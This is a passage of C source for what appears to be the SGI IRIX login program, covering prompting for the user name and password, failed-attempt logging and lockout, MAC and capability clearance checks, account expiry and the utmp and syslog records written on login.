81#include <sys/syslog.h>
82#include <sys/wait.h>
83#include <di_aux.h>
84#include <limits.h>
85
86#if defined(_SHAREII) || defined(DCE)
87#include <dlfcn.h>
88#endif /* defined(_SHAREII) || defined(DCE) */
89#ifdef _SHAREII
90#include <shareIIhooks.h>
91SH_DECLARE_HOOK(SETMYNAME);
92SH_DECLARE_HOOK(LOGIN);
93#endif /* _SHAREII */
94
95#define LANG_FILE "/.lang" /* default lang file */
96#define TZ_FILE "/.timezone" /* default timezone file */
97
98#ifdef AUX_SECURITY
99
100#define SITE_OK 0
101#define SITE_FAIL 1
102#define SITE_AGAIN 2
103#define SITE_CONTINUE 3
104
105#endif /* AUX_SECURITY */
106
107/*
108 * Lastlog structure from 4.0 release.
109 */
110struct lastlog4 {
111 int ll_status; /* boolean to indicate login success
112 * or failure. */
113 time_t ll_time;
114 char ll_line[12]; /* if local: tty name,
115 * if rlogin: remote user name. */
116 char ll_host[64];
117};
118
119/*
120 * Lastlog structure from 5.0 alpha releases.
121 */
122struct lastlog5a {
123 time_t ll_time;
124 char ll_line[12]; /* same as in utmp */
125 char ll_host[16]; /* same as in utmp */
126 ulong ll_level; /* MAC security level */
127};
128
129/*
130 * The following defines are macros used throughout login.
131*/
132
133#define SCPYN(a, b) (void) strncpy((a), (b), (sizeof((a))-1))
134#define EQN(a, b) (!strncmp((a), (b), strlen(a)))
135#define ENVSTRNCAT(to, from) {size_t deflen; deflen = strlen(to);\
136 (void) strncpy((to) + deflen, (from),\
137 sizeof(to) - (1 + deflen));}
138/*
139 * The following defines are for different files.
140*/
141
142#define SHELL _PATH_BSHELL
143#define SHELL2 "/sbin/sh"
144#define LASTLOG _PATH_LASTLOG
145#define LOGINLOG _PATH_LOGINLOG
146#define DIAL_FILE _PATH_DIALUPS
147#define DPASS_FILE _PATH_DIALPASS
148#define BADLOGDIR "/var/adm/badlogin" /* used by update_count() */
149#ifdef EXECSH
150#define SUBLOGIN "<!sublogin>"
151
152#define NMAX 32
153#endif /* EXECSH */
154
155/*
156 * The following defines are for MAXIMUM values.
157*/
158
159#define MAXENV 1024
160#define MAXLINE 256
161#define MAXTIME 60 /* default */
162#define MAXTRYS 3 /* default */
163#define MAXARGS 63
164#define MAX_TIMEOUT (15 * 60)
165#define MAX_FAILURES 20 /* MAX value LOGFAILURES */
166
167/*
168 * The following defines are for DEFAULT values.
169*/
170
171#define DEF_TZ "PST8PDT"
172#define DEF_HZ "100"
173#define DEFUMASK 077
174#define DEF_PATH _PATH_USERPATH
175#define DEF_SUPATH _PATH_ROOTPATH
176#define DEF_TIMEOUT 60
177#define DEF_LANG "C"
178
179/*
180 * The following defines don't fit into the MAXIMUM or DEFAULT
181 * categories listed above.
182*/
183
184#define PBUFSIZE PASS_MAX /* max significant chars in a password */
185#define SLEEPTIME 1 /* sleeptime before login incorrect msg */
186#define LNAME_SIZE 32 /* size of logname */
187#define TTYN_SIZE 15 /* size of logged tty name */
188#define TIME_SIZE 30 /* size of logged time string */
189#define L_WAITTIME 5 /* waittime for log file to unlock */
190#define DISABLETIME 20 /* seconds login disabled after LOGFAILURES or
191 MAXTRYS unsuccesful attempts. */
192#define LOGFAILURES 3 /* default */
193
194#define ENT_SIZE (LNAME_SIZE + TTYN_SIZE + TIME_SIZE + 3)
195#define NAME_DELIM 32 /* LOCKOUTEXEMPT name delimiter */
196
197#define MAC_SESSION 0
198#define MAC_CLEARANCE 1
199
200/* XXX from libcmd */
201extern FILE *defopen(char *);
202extern char *defread(FILE *, char *);
203extern char *sttyname(struct stat *);
204
205/* XXX from libc */
206extern int __ruserok_x(char *, int, char *, char *, uid_t, char *);
207
208#ifdef DCE
209int dce_verify(char *user, uid_t uid, gid_t gid, char *passwd, char **msg);
210#endif /* DCE */
211
212static char u_name[LNAME_SIZE],
213 term[5+64] = {""}, /* "TERM=" */
214 hertz[10] = { "HZ=" },
215 timez[100] = { "TZ=" },
216#ifdef EXECSH
217 minusnam[16] = {"-"},
218#endif /* EXECSH */
219 env_remotehost[257+12] = { "REMOTEHOST=" },
220 env_remotename[12+NMAX] = { "REMOTEUSER=" },
221 user[LNAME_SIZE+6] = { "USER=" },
222 path[1024] = { "PATH=" },
223 home[1024] = { "HOME=" },
224 shell[1024] = { "SHELL=" },
225 logname[LNAME_SIZE + 8] = {"LOGNAME="},
226#ifndef NO_MAIL
227 mail[LNAME_SIZE + 15] = { "MAIL=" },
228#endif
229 lang[NL_LANGMAX + 8] = { "LANG=" },
230 *incorrectmsg = "Login incorrect\n",
231 *incorrectmsgid = ":309",
232 *envinit[10 + MAXARGS] = {home, path, logname, hertz, timez, term, user, lang, 0, 0};
233
234static char zero[] = { "" };
235
236static char *ttyn = zero,
237 *rttyn = zero,
238 *Def_tz = zero,
239 *Console = zero,
240 *Passreq = zero,
241 *Altshell = zero,
242 *Mandpass = zero,
243 *Initgroups = zero,
244 *SVR4_Signals = zero,
245 *Def_path = zero,
246 *Def_term = zero,
247 *Def_hertz = zero,
248 *Def_syslog = zero,
249#ifdef AUX_SECURITY
250 *Def_sitepath = zero,
251#endif
252 *Def_lang = zero,
253 *Def_supath = zero,
254 *Def_notlockout = zero;
255
256
257static unsigned Def_timeout = DEF_TIMEOUT;
258
259static mode_t Umask = DEFUMASK;
260
261static long Def_maxtrys = MAXTRYS,
262 Def_slptime = SLEEPTIME,
263 Def_distime = DISABLETIME,
264 Def_failures = LOGFAILURES,
265 Mac_Remote = MAC_SESSION,
266 Lockout = 0;
267
268static int pflag = 0, /* bsd: don't destroy the environ */
269#ifdef EXECSH
270 rflag = 0,
271 rflag_set = 0,
272#endif /* EXECSH */
273 pwflag = 0, /* svr4: prompt for new password */
274 hflag = 0,
275 intrupt = 0,
276 Idleweeks = -1;
277
278static void donothing(void);
279static int set_uthost(char *, int);
280static void getstr(char *, int, char *);
281static int dialpass(char *shellp, uid_t priv_uid);
282static int gpass(char *prmt, char *pswd, uid_t priv_uid);
283static char ** chk_args(char **pp);
284static char ** getargs(char *inline);
285static char ** getargs2(char *inline);
286static int quotec(void);
287static char * quotec2(char *s, int *cp);
288static int legalenvvar(char *s);
289static void badlogin(int trys, char **log_entry);
290static char *mygetpass(char *prompt);
291static char * fgetpass(FILE *fi, FILE *fo, char *prompt);
292static void catch(void);
293static void uppercaseterm(char *strp);
294static char * findttyname(int fd);
295static void init_defaults(void);
296static int exec_pass(char *usernam);
297static int doremotelogin(char *host);
298static int doremoteterm(char *term);
299static int get_options(int argc, char **argv);
300static void usage(void);
301static int do_lastlog(struct utmpx *utmp);
302static void setup_environ(char **envp, char **renvp, char *dirp, char **shellp);
303static void pr_msgs(int lastlog_msg);
304static void update_utmp(struct utmpx *utmp);
305static void verify_pwd(int nopass, uid_t priv_uid);
306static int init_badtry(char **log_entry);
307static void logbadtry(int trys, char **log_entry);
308static int on_console(uid_t priv_uid);
309static int read_pass(uid_t priv_uid, int *nopass);
310static long get_logoffval(void);
311static int at_shell_level(void);
312static void failure_log(void);
313static int set_uthost(char *ut_hostp, int uthlen);
314static unsigned char dositecheck(void);
315static char * getsenv(char *varname, char **envp);
316static void count_badlogins(int outcome, char *username);
317static int update_count(int outcome, char *user);
318static void early_advice(int rflag, int hflag);
319static int cap_user_cleared(const char *, const cap_t);
320
321static uinfo_t uinfo;
322
323static uid_t ia_uid;
324static gid_t ia_gid;
325static char *ia_pwdpgm;
326
327static struct lastlog ll;
328static int syslog_fail;
329static int syslog_success;
330
331static char *args[MAXARGS]; /* pointer to arguments in envbuf[] */
332static char envbuf[MAXLINE]; /* storage for argument text */
333
334#ifdef EXECSH
335static char QUOTAWARN[] = _PATH_QUOTA;
336/* usererr is more like "remote_user_must_give_pwd", -1=yes, 0=no */
337static int usererr = -1;
338
339char **remenvp = (char **)0;
340char luser[MAXLINE + 1];
341char rusername[NMAX+1], lusername[NMAX+1];
342char rpassword[NMAX+1];
343char remotehost[257];
344char terminal[64];
345
346extern char **environ;
347#endif /* EXECSH */
348#ifdef AFS
349extern int (*__afs_getsym(char *))();
350extern int __afs_iskauth(void);
351int (*afs_verify)(char *, char *, long *, int);
352char *(*afs_gettktstring)(void);
353long afs_exp = -1;
354char afs_tktfile[1024] = { "KRBTKFILE=" };
355char afs_passwdexp[22+12];
356#endif
357#ifdef DCE
358static int dfs_authentication = 0;
359char dce_tktfile[1024] = { "KRB5CCNAME=" };
360#endif /* DCE */
361
362/*
363 * look for LANG= as argument and switch to that locale
364 * last LANG= wins
365 */
366static char *
367set_lang(char **envp)
368{
369 register char **ulp, *langp = (char *)0;
370
371 if(ulp = envp) {
372 for(; *ulp; ulp++) {
373 if( !strncmp(*ulp, "LANG=", 5))
374 langp = *ulp + 5;
375 }
376 }
377 if(langp)
378 (void)setlocale(LC_ALL, langp);
379 return(langp);
380}
381
382/*
383 * Procedure: main
384 *
385 */
386int
387main(int argc, char **argv, char **renvp)
388{
389 register uid_t priv_uid;
390
391 register int
392 trys = 0, /* value for login attempts */
393 lastlogok,
394 writelog = 0,
395 firstime = 1,
396 uinfo_open = 0;
397
398 static struct utmpx utmp; /* static zeros the struct */
399
400 char **envp,
401 *ia_dirp,
402 *pdir = NULL,
403 *ia_shellp,
404 *pshell = NULL,
405 *ttyprompt = NULL,
406 *pwdmsgid = ":308",
407 *pwdmsg = "Password:",
408 inputline[MAXLINE],
409 *log_entry[MAX_FAILURES],
410 *loginmsg = "login: ",
411 *loginmsgid = ":307";
412
413 long ia_expire,
414 log_attempts = 0;
415 int log_trys = 0, /* value for writing to logfile */
416 nopassword = 1;
417
418 struct spwd noupass = { "", "no:password" };
419
420 cap_t u_cap = (cap_t) NULL, ocap;
421 mac_t u_mac = (mac_t) NULL;
422 cap_value_t capv;
423
424#ifdef EXECSH
425 char *endptr;
426 int i;
427#endif /* EXECSH */
428
429 if (cap_envl(0, CAP_AUDIT_CONTROL, CAP_AUDIT_WRITE, CAP_CHROOT,
430 CAP_DAC_WRITE, CAP_FOWNER, CAP_MAC_DOWNGRADE,
431 CAP_MAC_RELABEL_SUBJ, CAP_MAC_UPGRADE, CAP_MAC_WRITE,
432 CAP_PRIV_PORT, CAP_SETGID, CAP_SETUID, CAP_SETPCAP,
433 (cap_value_t) 0) == -1) {
434 fprintf(stderr, "insufficient privilege\n");
435 exit(1);
436 }
437
438 /*
439 * ignore the quit and interrupt signals early so
440 * no strange interrupts can occur.
441 */
442 (void) signal(SIGQUIT, SIG_IGN);
443 (void) signal(SIGINT, SIG_IGN);
444
445 (void) setlocale(LC_ALL, "");
446 (void) setcat("uxcore");
447 (void) setlabel("UX:login");
448
449 tzset();
450
451 errno = 0;
452 u_name[0] = utmp.ut_user[0] = '\0';
453 terminal[0] = '\0';
454
455
456 /*
457 * Determine if this command was called by the user from
458 * shell level. If so, issue a diagnostic and exit.
459 */
460 if (at_shell_level()) {
461 pfmt(stderr, MM_ERROR, ":666:cannot execute login at shell level.\n");
462 exit(1);
463 }
464
465 /* indicate an ID-based privilege mechanism, ID 0 == root */
466 priv_uid = 0;
467
468 init_defaults();
469
470#ifdef AFS
471 afs_verify = (int (*)())__afs_getsym("afs_verify");
472 afs_gettktstring = (char *(*)()) __afs_getsym("afs_gettktstring");
473 if (afs_verify == NULL || afs_gettktstring == NULL)
474 afs_verify = NULL;
475#endif
476#ifndef sgi
477 /* don't set alarm here - some operations -like if yp is down
478 * can take a long time and shouldn't constitute the user
479 * not doing anything. Instead, we activate the alarm around
480 * the various places user's are asked for input
481 */
482 /*
483 * Set the alarm to timeout in Def_timeout seconds if
484 * the user doesn't respond. Also, set process priority.
485 */
486 (void) alarm(Def_timeout);
487#endif
488 (void) nice(0);
489
490 if (get_options(argc, argv) == -1) {
491 usage();
492 exit(1);
493 }
494
495 /*
496 * if devicename is not passed as argument, call findttyname(0)
497 * and findttyname(0)
498 */
499 if (ttyn == NULL || *ttyn == NULL) {
500 ttyn = findttyname(0);
501 if (ttyn == NULL)
502 ttyn = "/dev/???";
503#ifdef sgi
504 /* what? think you'll get a different answer next time?? */
505 rttyn = ttyn;
506#else
507 rttyn = findttyname(0);
508 if (rttyn == NULL)
509 rttyn = "/dev/???";
510#endif
511 }
512 else
513 rttyn = ttyn;
514
515 writelog = init_badtry(log_entry);
516
517#ifdef EXECSH
518 if (rflag) {
519 /*
520 * next stdin string is the remote username; initialize
521 * `rusername', `luser' (needed by set_uthost), and
522 * set up utmp.ut_host before calling doremotelogin()
523 */
524#ifdef sgi
525 (void) alarm(Def_timeout);
526#endif
527 getstr(rusername, sizeof(rusername)-1, "remuser");
528 getstr(luser, sizeof(luser)-1, "locuser");
529#ifdef sgi
530 (void) alarm(0);
531#endif
532 set_uthost(&(utmp.ut_host[0]), sizeof(utmp.ut_host)-1);
533 usererr = doremotelogin(remotehost);
534 if (0 != doremoteterm(terminal)) {
535 syslog(LOG_ERR|LOG_AUTH, "ioctl(TCSETA) on %s failed - bad baud rate?",
536 ttyn);
537 pfmt(stderr, MM_ERROR, "uxue:57:ioctl() failed: %s\n","TCSETA");
538 exit(1);
539
540 }
541 }
542 else if (hflag) {
543 strcpy(rusername, "UNKNOWN");
544 set_uthost(&(utmp.ut_host[0]), sizeof(utmp.ut_host)-1);
545 }
546
547 early_advice(rflag, hflag);
548#endif /* EXECSH */
549
550 /*
551 * determine the number of login attempts to allow.
552 * A value of 0 is infinite.
553 */
554 log_attempts = get_logoffval();
555
556 /*
557 * get the prompt set by ttymon
558 */
559 ttyprompt = getenv("TTYPROMPT");
560 if ((ttyprompt != NULL) && (*ttyprompt != '\0')) {
561#ifdef sgi
562 (void) alarm(Def_timeout);
563#endif
564 /*
565 * if ttyprompt is set, there should be data on
566 * the stream already.
567 */
568 if ((envp = getargs(inputline)) != (char**)NULL) {
569 uppercaseterm(*envp);
570 /* call chk_args to process options */
571
572 envp = chk_args(envp);
573 if (*envp != (char *) NULL) {
574 SCPYN(utmp.ut_user, *envp);
575 SCPYN(u_name, *envp++);
576 }
577 }
578#ifdef sgi
579 (void) alarm(0);
580#endif
581 }
582 else if (optind < argc) {
583 SCPYN(utmp.ut_user, argv[optind]);
584 SCPYN(u_name, argv[optind]);
585 (void) strncpy(inputline, u_name, sizeof(inputline)-5);
586 (void) strcat(inputline, " \n");
587 envp = &argv[optind + 1];
588 }
589 /*
590 * enter an infinite loop. This loop will terminate on one of
591 * three conditions:
592 *
593 * 1) a successful login,
594 *
595 * 2) number of failed login attempts is greater than log_attempts,
596 *
597 * 3) an error occured and the loop exits.
598 *
599 *
600 */
601 /* LINTED */
602 while (1) {
603#ifdef sgi
604 /* in case we 'continue' from bad password.. */
605 (void) alarm(0);
606#endif
607 ia_uid = ia_gid = -1;
608 /*
609 * free the storage for the master file
610 * information if it was previously allocated.
611 */
612 if (uinfo_open) {
613 uinfo_open = 0;
614 ia_closeinfo(uinfo);
615 }
616 if ((pshell != NULL) && (*pshell != '\0')) {
617 free(pshell);
618 pshell = NULL;
619 }
620 if (pdir != NULL) {
621 free(pdir);
622 pdir = NULL;
623 }
624
625 /* If logging is turned on and there is an unsuccessful
626 * login attempt, put it in the string storage area
627 */
628
629 if (writelog && (Def_failures > 0)) {
630 logbadtry(log_trys, log_entry);
631
632 if (log_trys == Def_failures) {
633 /*
634 * write "log_trys" number of records out
635 * to the log file and reset log_trys to 1.
636 */
637 badlogin(log_trys, log_entry);
638 log_trys = 1;
639 }
640 else {
641 ++log_trys;
642 }
643 }
644 /*
645 * On unsuccessfull login, update user's system-wide
646 * bad login count and lock out user if count = Lockout.
647 */
648 if (Lockout > 0 && trys)
649 count_badlogins(0, u_name);
650
651 /*
652 * don't do this the first time through. Do it EVERY
653 * time after that, though.
654 */
655 if (!firstime) {
656 u_name[0] = utmp.ut_user[0] = '\0';
657 }
658
659 (void) fflush(stdout);
660 /*
661 * one of the loop terminators. If either of these
662 * conditions exists, exit when "trys" is greater
663 * than log_attempts and Def_maxtrys isn't 0.
664 */
665 if (log_attempts && Def_maxtrys) {
666 if (++trys > log_attempts) {
667 /*
668 * If logging is turned on, output the string
669 * storage area to the log file, and sleep for
670 * DISABLETIME seconds before exiting.
671 */
672 if (log_trys) {
673 badlogin(log_trys, log_entry);
674 }
675 alarm(0);
676 capv = CAP_AUDIT_WRITE;
677 ocap = cap_acquire (1, &capv);
678 ia_audit("LOGIN", "nobody", 0,
679 "Too many unsuccessful login attempts");
680 cap_surrender(ocap);
681 (void) sleep((unsigned)Def_distime);
682 exit(1);
683 }
684 }
685 /*
686 * keep prompting until the user enters something
687 */
688 while (utmp.ut_user[0] == '\0') {
689 if (rflag && firstime) {
690 firstime = 0;
691 SCPYN(utmp.ut_user, lusername);
692 SCPYN(u_name, lusername);
693 envp = remenvp;
694 } else {
695 /*
696 * if TTYPROMPT is not set, print out our own
697 * prompt
698 * otherwise, print out ttyprompt
699 */
700 if ((ttyprompt == NULL) || (*ttyprompt == '\0'))
701 pfmt(stdout, MM_NOSTD|MM_NOGET,
702 gettxt(loginmsgid, loginmsg));
703 else
704 (void) fputs(ttyprompt, stdout);
705 (void) fflush(stdout);
706#ifdef sgi
707 (void) alarm(Def_timeout);
708#endif
709 if ((envp = getargs(inputline)) != (char**)NULL) {
710 envp = chk_args(envp);
711 if (*envp != (char *) NULL) {
712 SCPYN(utmp.ut_user, *envp);
713 SCPYN(u_name, *envp++);
714 }
715 }
716#ifdef sgi
717 (void) alarm(0);
718#endif
719 }
720 }
721 (void)set_lang(envp);
722
723 firstime = 0;
724 /*
725 * If any of the common login messages was the input, we must be
726 * looking at a tty that is running login. We exit because
727 * they will chat at each other until one times out.
728 */
729 if (EQN(loginmsg, inputline) || EQN(pwdmsg, inputline) ||
730 EQN(incorrectmsg, inputline)) {
731 capv = CAP_AUDIT_WRITE, ocap = cap_acquire (1, &capv);
732 ia_audit("LOGIN", u_name, 0,
733 "Looking at a login line.");
734 cap_surrender(ocap);
735 pfmt(stderr, MM_ERROR, ":311:Looking at a login line.\n");
736 exit(8);
737 }
738
739 if (ia_openinfo(u_name, &uinfo) || (uinfo == NULL)) {
740#ifdef sgi
741 (void) alarm(Def_timeout);
742#endif
743 (void) gpass(gettxt(pwdmsgid, pwdmsg), noupass.sp_pwdp,
744 priv_uid);
745 (void) dialpass("/sbin/sh", priv_uid);
746 capv = CAP_AUDIT_WRITE, ocap = cap_acquire (1, &capv);
747 ia_audit("LOGIN", u_name, 0, "Invalid user name");
748 cap_surrender(ocap);
749 (void) sleep ((unsigned)Def_slptime);
750 pfmt(stderr, MM_ERROR|MM_NOGET, gettxt(incorrectmsgid,
751 incorrectmsg));
752 failure_log();
753 continue;
754 }
755 /*
756 * set ``uinfo_open'' to 1 to indicate that the information
757 * from the master file needs to be freed if we go back to
758 * the top of the loop.
759 */
760 uinfo_open = 1;
761
762 /*
763 * get uid and gid info early for AUDIT
764 */
765 ia_get_uid(uinfo, &ia_uid);
766 ia_get_gid(uinfo, &ia_gid);
767 ia_get_pwdpgm(uinfo, &ia_pwdpgm);
768 ia_get_dir(uinfo, &ia_dirp);
769 pdir = strdup(ia_dirp);
770 ia_get_sh(uinfo, &ia_shellp);
771 pshell = strdup(ia_shellp);
772
773#ifdef AUX_SECURITY
774
775/*
776 * Enable auxilary security, allowing system administrators to specify
777 * actions for login to take before asking for passwords. This is done
778 * via a switch statement and two labels. ``accept'' is where to go
779 * when the user is to be allowed in. ``scont'' is where to go if
780 * the sitecheck program fails for some reason and you still want to
781 * allow the user the chance to log in. If you want to reprompt,
782 * you should just break out of the loop, since it is immediately
783 * followed by a continue. This will increment the number of tries, etc.
784 */
785
786#ifdef EXECSH
787 if (usererr == -1)
788#endif /* EXECSH */
789 if (Def_sitepath && *Def_sitepath) {
790 switch (dositecheck()) {
791 case SITE_OK:
792 capv = CAP_AUDIT_WRITE;
793 ocap = cap_acquire (1, &capv);
794 ia_audit("LOGIN", u_name, 1,
795 "external authentication succeeded");
796 cap_surrender(ocap);
797#ifdef sgi
798 (void) alarm(Def_timeout);
799#endif
800 goto accept;
801 case SITE_FAIL:
802 capv = CAP_AUDIT_WRITE;
803 ocap = cap_acquire (1, &capv);
804 ia_audit("LOGIN", u_name, 0,
805 "external authentication failed");
806 cap_surrender(ocap);
807 sleep((unsigned)Def_slptime);
808 exit(1);
809 case SITE_AGAIN:
810 capv = CAP_AUDIT_WRITE;
811 ocap = cap_acquire (1, &capv);
812 ia_audit("LOGIN", u_name, 0,
813 "external authentication retry");
814 cap_surrender(ocap);
815 sleep((unsigned)Def_slptime);
816 break;
817 case SITE_CONTINUE:
818 capv = CAP_AUDIT_WRITE;
819 ocap = cap_acquire (1, &capv);
820 ia_audit("LOGIN", u_name, 0,
821 "external authentication complete, also using IRIX authentication");
822 cap_surrender(ocap);
823 goto scont;
824 }
825 continue;
826 }
827 scont:
828#endif /* AUX_SECURITY */
829
830#ifdef sgi
831 (void) alarm(Def_timeout);
832#endif
833 /*
834 * get the user's password.
835 */
836#ifdef EXECSH
837 if (usererr == -1)
838#endif /* EXECSH */
839 if (read_pass(priv_uid, &nopassword)) {
840 (void) dialpass(pshell, priv_uid);
841 (void) sleep ((unsigned)Def_slptime);
842 pfmt(stderr, MM_ERROR|MM_NOGET, gettxt(incorrectmsgid,
843 incorrectmsg));
844 failure_log();
845 continue;
846 }
847
848 /*
849 * get dialup password, if necessary
850 */
851accept:
852 if (dialpass(pshell, priv_uid)) {
853 capv = CAP_AUDIT_WRITE, ocap = cap_acquire (1, &capv);
854 ia_audit("LOGIN", u_name, 0, "Invalid dialup password");
855 cap_surrender(ocap);
856 (void) sleep ((unsigned)Def_slptime);
857 pfmt(stderr, MM_ERROR|MM_NOGET, gettxt(incorrectmsgid,
858 incorrectmsg));
859 failure_log();
860 continue;
861 }
862#ifdef sgi
863 (void) alarm(0);
864
865 /*
866 * Verify the user is within clearance. If MAC is not
867 * configured, the user is always within clearance.
868 */
869 if (sysconf(_SC_MAC) > 0) {
870 struct clearance *clp;
871 char *mac_requested;
872
873 /*
874 * get MAC info from database
875 */
876 clp = sgi_getclearancebyname (u_name);
877 if (clp == (struct clearance *) NULL) {
878 capv = CAP_AUDIT_WRITE;
879 ocap = cap_acquire (1, &capv);
880 ia_audit("LOGIN", u_name, 0,
881 "MAC clearance check failed");
882 cap_surrender(ocap);
883 continue;
884 }
885
886 /*
887 * determine what MAC label was requested
888 */
889 mac_requested = getsenv ("MAC", envp);
890 if (mac_requested == (char *) NULL) {
891 if (clp->cl_default == (char *) NULL) {
892 capv = CAP_AUDIT_WRITE;
893 ocap = cap_acquire (1, &capv);
894 ia_audit("LOGIN", u_name, 0,
895 "MAC clearance check failed");
896 cap_surrender(ocap);
897 continue;
898 }
899 mac_requested = clp->cl_default;
900 }
901
902 /*
903 * convert user input into internal form.
904 * if remote login ignore user input and
905 * use the current process label unless
906 * MACREMOTE is CLEARANCE.
907 */
908 if (Mac_Remote == MAC_SESSION && (rflag || hflag))
909 u_mac = mac_get_proc ();
910 else
911 u_mac = mac_from_text (mac_requested);
912 if (u_mac == (mac_t) NULL) {
913 capv = CAP_AUDIT_WRITE;
914 ocap = cap_acquire (1, &capv);
915 ia_audit("LOGIN", u_name, 0,
916 "MAC clearance check failed");
917 cap_surrender(ocap);
918 continue;
919 }
920
921 /*
922 * verify that the requested MAC label is permitted
923 */
924 if (mac_clearedlbl (clp, u_mac) != MAC_CLEARED) {
925 mac_free(u_mac);
926 capv = CAP_AUDIT_WRITE;
927 ocap = cap_acquire (1, &capv);
928 ia_audit("LOGIN", u_name, 0,
929 "MAC clearance check failed");
930 cap_surrender(ocap);
931 continue;
932 }
933 }
934
935 /*
936 * Verify the user's capabilities (privileges)
937 */
938 if (sysconf(_SC_CAP) > 0) {
939 char *cap_requested;
940
941 /*
942 * If capability was not explicitly requested this
943 * will be NULL.
944 */
945 cap_requested = getsenv("CAP", envp);
946
947 /*
948 * Look for an implicit capability request
949 */
950 if (cap_requested == NULL) {
951 struct user_cap *clp;
952
953 if (clp = sgi_getcapabilitybyname(u_name))
954 cap_requested = clp->ca_default;
955 else
956 cap_requested = "all=";
957 }
958 /*
959 * However you got it, convert it to binary form.
960 */
961 u_cap = cap_from_text(cap_requested);
962
963 /*
964 * Verify that this user is allowed the requested
965 * capability set.
966 */
967 if (!cap_user_cleared(u_name, u_cap)) {
968 cap_free(u_cap);
969 capv = CAP_AUDIT_WRITE;
970 ocap = cap_acquire (1, &capv);
971 ia_audit("LOGIN", u_name, 0,
972 "CAP clearance check failed");
973 cap_surrender(ocap);
974 continue;
975 }
976 }
977#endif
978 /*
979 * Check for login expiration
980 */
981 ia_get_logexpire(uinfo, &ia_expire);
982 if (ia_expire > 0) {
983 if (ia_expire < DAY_NOW) {
984 capv = CAP_AUDIT_WRITE;
985 ocap = cap_acquire (1, &capv);
986 ia_audit("LOGIN", u_name, 0,
987 "Account password has expired");
988 cap_surrender(ocap);
989 pfmt(stderr, MM_ERROR|MM_NOGET,
990 gettxt(incorrectmsgid, incorrectmsg));
991 exit(1);
992 }
993 }
994
995 /*
996 * if this is an ID-based privilege mechanism and the
997 * user is privileged but NOT on the system console, exit!
998 */
999 if ((priv_uid >= 0) && !on_console(priv_uid)) {
1000 /* for consistency with unicos and to address pv: 200420
1001 * print out slightly misleading error message
1002 */
1003 pfmt(stderr, MM_ERROR|MM_NOGET, gettxt(incorrectmsgid,
1004 incorrectmsg));
1005 exit(10);
1006 }
1007
1008 /*
1009 * Have to set the process label before the chdir.
1010 */
1011 if (sysconf(_SC_MAC) > 0) {
1012 capv = CAP_MAC_RELABEL_SUBJ;
1013 ocap = cap_acquire (1, &capv);
1014 if (mac_set_proc (u_mac) == -1) {
1015 cap_surrender (ocap);
1016 mac_free (u_mac);
1017 pfmt(stderr, MM_ERROR,
1018 ":321:Bad user clearance.\n");
1019 capv = CAP_AUDIT_WRITE;
1020 ocap = cap_acquire (1, &capv);
1021 ia_audit("LOGIN", u_name, 0,
1022 "Bad user clearance");
1023 cap_surrender(ocap);
1024 exit(1);
1025 }
1026 cap_surrender (ocap);
1027 mac_free (u_mac);
1028 }
1029
1030#ifdef EXECSH
1031 if (*ia_shellp == '*') {
1032 capv = CAP_CHROOT, ocap = cap_acquire (1, &capv);
1033 if (chroot(pdir) < 0 ) {
1034 cap_surrender (ocap);
1035 capv = CAP_AUDIT_WRITE;
1036 ocap = cap_acquire (1, &capv);
1037 ia_audit("LOGIN", u_name, 0,
1038 "No directory for subsystem root");
1039 cap_surrender(ocap);
1040 pfmt(stderr, MM_ERROR,
1041 "uxsgicore:84:No root directory\n");
1042 continue;
1043 }
1044 cap_surrender (ocap);
1045 envinit[0] = SUBLOGIN;
1046 envinit[1] = (char*)NULL;
1047 capv = CAP_AUDIT_WRITE, ocap = cap_acquire (1, &capv);
1048 satvwrite(SAT_AE_IDENTITY, SAT_SUCCESS,
1049 "LOGIN|+|%s|Subsystem root: %s", u_name, pdir);
1050 cap_surrender(ocap);
1051 pfmt(stderr, MM_INFO,
1052 ":316:Logging in to subsystem root %s\n", pdir);
1053 execle("/usr/lib/iaf/scheme",
1054 "login", (char*)0, &envinit[0]);
1055 execle("/usr/bin/login", "login",
1056 (char*)0, &envinit[0]);
1057 execle("/etc/login", "login", (char*)0, &envinit[0]);
1058 capv = CAP_AUDIT_WRITE, ocap = cap_acquire (1, &capv);
1059 ia_audit("LOGIN", u_name, 0,
1060 "Sublogin: No login programs on root");
1061 cap_surrender(ocap);
1062 pfmt(stderr, MM_ERROR, "uxsgicore:85:No /usr/lib/iaf/scheme or /usr/bin/login or /etc/login on root\n");
1063 exit(1);
1064 }
1065 {
1066 const cap_value_t caps[] = {CAP_SETUID,
1067 CAP_SETGID,
1068 CAP_AUDIT_WRITE};
1069 uid_t euid = geteuid();
1070 gid_t egid = getegid();
1071 int okchdir;
1072
1073 /*
1074 * We must set our effective uid to that of the
1075 * new user, otherwise a chdir through a mode 700
1076 * directory or onto a filesystem like DFS or NFS
1077 * will fail.
1078 */
1079 ocap = cap_acquire(2, caps);
1080 if (setreuid(-1, ia_uid) == -1) {
1081 cap_surrender(ocap);
1082 perror("setreuid");
1083 exit(1);
1084 }
1085 if (setregid(-1, ia_gid) == -1) {
1086 cap_surrender(ocap);
1087 perror("setregid");
1088 exit(1);
1089 }
1090 cap_surrender(ocap);
1091
1092 okchdir = chdir(pdir);
1093
1094 /*
1095 * These should never fail, but we check Just In Case
1096 */
1097 if (setreuid(-1, euid) == -1) {
1098 perror("setreuid");
1099 exit(1);
1100 }
1101 if (setregid(-1, egid) == -1) {
1102 perror("setregid");
1103 exit(1);
1104 }
1105
1106 if (okchdir == -1) {
1107 ocap = cap_acquire (1, &caps[2]);
1108 satvwrite(SAT_AE_IDENTITY, SAT_FAILURE, "LOGIN|-|%s|No home directory \"%s\"", u_name, pdir);
1109 cap_surrender(ocap);
1110 pfmt(stderr, MM_ERROR, ":735:unable to change directory to \"%s\"\n", pdir);
1111 exit(1);
1112 }
1113 }
1114#endif /* EXECSH */
1115
1116 /*
1117 * get the information for the last time this user logged
1118 * in, and set up the information to be recorded for this
1119 * session.
1120 */
1121 lastlogok = do_lastlog(&utmp);
1122
1123 break; /* break out of while loop */
1124 } /* end of infinite while loop */
1125
1126 /*
1127 * On successfull login: reset user's system-wide
1128 * bad login count to zero.
1129 */
1130 if (Lockout > 0)
1131 count_badlogins(1, u_name);
1132
1133 if (syslog_success) {
1134 openlog("login", LOG_PID, LOG_AUTH);
1135 if (rflag_set || hflag) {
1136 syslog(LOG_INFO|LOG_AUTH, "%s@%s as %s",
1137 hflag ? "?" : rusername, remotehost, u_name);
1138 } else
1139 syslog(LOG_NOTICE|LOG_AUTH, "%s on %s", u_name, ttyn);
1140 closelog();
1141 }
1142
1143 /*
1144 * update the utmp and wtmp file entries.
1145 */
1146 update_utmp(&utmp);
